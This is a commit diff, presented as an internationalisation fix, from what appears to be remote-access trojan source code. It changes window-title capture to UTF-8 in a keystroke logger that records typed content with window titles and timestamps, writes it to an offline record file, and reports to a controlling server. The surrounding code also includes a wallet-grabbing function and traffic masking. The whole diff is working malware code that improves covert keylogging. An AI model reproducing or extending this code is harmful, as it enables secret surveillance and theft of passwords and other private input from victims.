i18n: UTF-8 protocol capability + Unicode rendering on server
This commit is contained in:
@@ -63,9 +63,34 @@ private:
|
||||
if (hForegroundWindow == NULL)
|
||||
return "No active window";
|
||||
|
||||
char windowTitle[256];
|
||||
GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle));
|
||||
return std::string(windowTitle);
|
||||
// 用 W 接口取标题,再转 UTF-8,避免依赖客户端系统 ANSI 代码页
|
||||
wchar_t wTitle[256] = { 0 };
|
||||
GetWindowTextW(hForegroundWindow, wTitle, _countof(wTitle));
|
||||
if (wTitle[0] == L'\0')
|
||||
return std::string();
|
||||
|
||||
int u8len = WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, NULL, 0, NULL, NULL);
|
||||
if (u8len <= 1)
|
||||
return std::string();
|
||||
|
||||
// 协议字段 ActiveWnd[512],UTF-8 中文最多 3 字节/字符,必要时按完整码点截断
|
||||
std::string out(u8len - 1, '\0');
|
||||
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, &out[0], u8len, NULL, NULL);
|
||||
if (out.size() >= 511) {
|
||||
out.resize(511);
|
||||
// 回退到上一个完整 UTF-8 码点起始
|
||||
while (!out.empty() && (static_cast<unsigned char>(out.back()) & 0xC0) == 0x80)
|
||||
out.pop_back();
|
||||
if (!out.empty()) {
|
||||
unsigned char lead = static_cast<unsigned char>(out.back());
|
||||
int need = (lead & 0x80) == 0 ? 1
|
||||
: (lead & 0xE0) == 0xC0 ? 2
|
||||
: (lead & 0xF0) == 0xE0 ? 3
|
||||
: (lead & 0xF8) == 0xF0 ? 4 : 0;
|
||||
if (need == 0) out.pop_back();
|
||||
}
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
DWORD GetLastInputTime()
|
||||
|
||||
@@ -76,7 +76,10 @@ CKeyboardManager1::~CKeyboardManager1()
|
||||
SAFE_CLOSE_HANDLE(m_hClipboard);
|
||||
SAFE_CLOSE_HANDLE(m_hWorkThread);
|
||||
SAFE_CLOSE_HANDLE(m_hSendThread);
|
||||
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
|
||||
// 仅在离线记录开启时才回写磁盘;否则缓冲区随对象释放,不让 CLEAR 后的新击键意外落盘。
|
||||
if (m_bIsOfflineRecord) {
|
||||
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
|
||||
}
|
||||
delete m_Buffer;
|
||||
Mprintf("~CKeyboardManager1: Stop %p\n", this);
|
||||
}
|
||||
@@ -129,9 +132,15 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
|
||||
|
||||
int CKeyboardManager1::sendStartKeyBoard()
|
||||
{
|
||||
BYTE bToken[2];
|
||||
// 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。
|
||||
// 子连接没经过 LOGIN_INFOR,服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
|
||||
// 让客户端自己带过来,避免服务端通过 IP 反查主连接(NAT/127.0.0.1 等场景反查会失败)。
|
||||
// 老服务端读不到 byte 2-3 没关系(只读 byte 1),向后兼容。
|
||||
BYTE bToken[4];
|
||||
bToken[0] = TOKEN_KEYBOARD_START;
|
||||
bToken[1] = (BYTE)m_bIsOfflineRecord;
|
||||
WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
|
||||
memcpy(bToken + 2, &caps, sizeof(WORD));
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
|
||||
}
|
||||
|
||||
@@ -264,8 +264,14 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要
|
||||
LPBYTE szBuffer = *(LPBYTE*)lParam;
|
||||
char szTitle[1024];
|
||||
memset(szTitle, 0, sizeof(szTitle));
|
||||
//得到系统传递进来的窗口句柄的窗口标题
|
||||
GetWindowText(hWnd, szTitle, sizeof(szTitle));
|
||||
// 用 W 接口取标题再转 UTF-8 写入 szTitle,避免依赖客户端 CP_ACP;
|
||||
// 服务端 SystemDlg::ShowWindowsList 按 UTF-8 解码后用宽字符塞进 ListCtrl。
|
||||
wchar_t wTitle[1024] = {};
|
||||
GetWindowTextW(hWnd, wTitle, _countof(wTitle));
|
||||
if (wTitle[0]) {
|
||||
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
|
||||
szTitle, sizeof(szTitle), NULL, NULL);
|
||||
}
|
||||
//这里判断 窗口是否可见 或标题为空
|
||||
BOOL m_bShowHidden = TRUE;
|
||||
if (!m_bShowHidden && !IsWindowVisible(hWnd)) {
|
||||
|
||||
@@ -94,9 +94,17 @@ int Save(int key_stroke)
|
||||
}
|
||||
|
||||
if (foreground) {
|
||||
// 用 W 接口取标题再转 UTF-8,避免依赖客户端系统 ANSI 代码页:
|
||||
// 老路径 GetWindowTextA 输出的字节是客户端 CP_ACP(中文机=GBK),
|
||||
// 服务端按自己的 CP_ACP 解释会乱码(例如德语机=CP1252)。
|
||||
char window_title[MAX_PATH] = {};
|
||||
GET_PROCESS_EASY(GetWindowTextA);
|
||||
GetWindowTextA(foreground, (LPSTR)window_title, MAX_PATH);
|
||||
wchar_t wTitle[MAX_PATH] = {};
|
||||
GET_PROCESS_EASY(GetWindowTextW);
|
||||
GetWindowTextW(foreground, wTitle, MAX_PATH);
|
||||
if (wTitle[0]) {
|
||||
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
|
||||
window_title, MAX_PATH, NULL, NULL);
|
||||
}
|
||||
|
||||
if (strcmp(window_title, lastwindow) != 0) {
|
||||
strcpy_s(lastwindow, sizeof(lastwindow), window_title);
|
||||
@@ -107,7 +115,7 @@ int Save(int key_stroke)
|
||||
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay,
|
||||
s.wHour, s.wMinute, s.wSecond);
|
||||
|
||||
output << "\r\n\r\n[标题:] " << window_title << "\r\n[时间:]" << tm << "\r\n[内容:]";
|
||||
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Content:]";
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user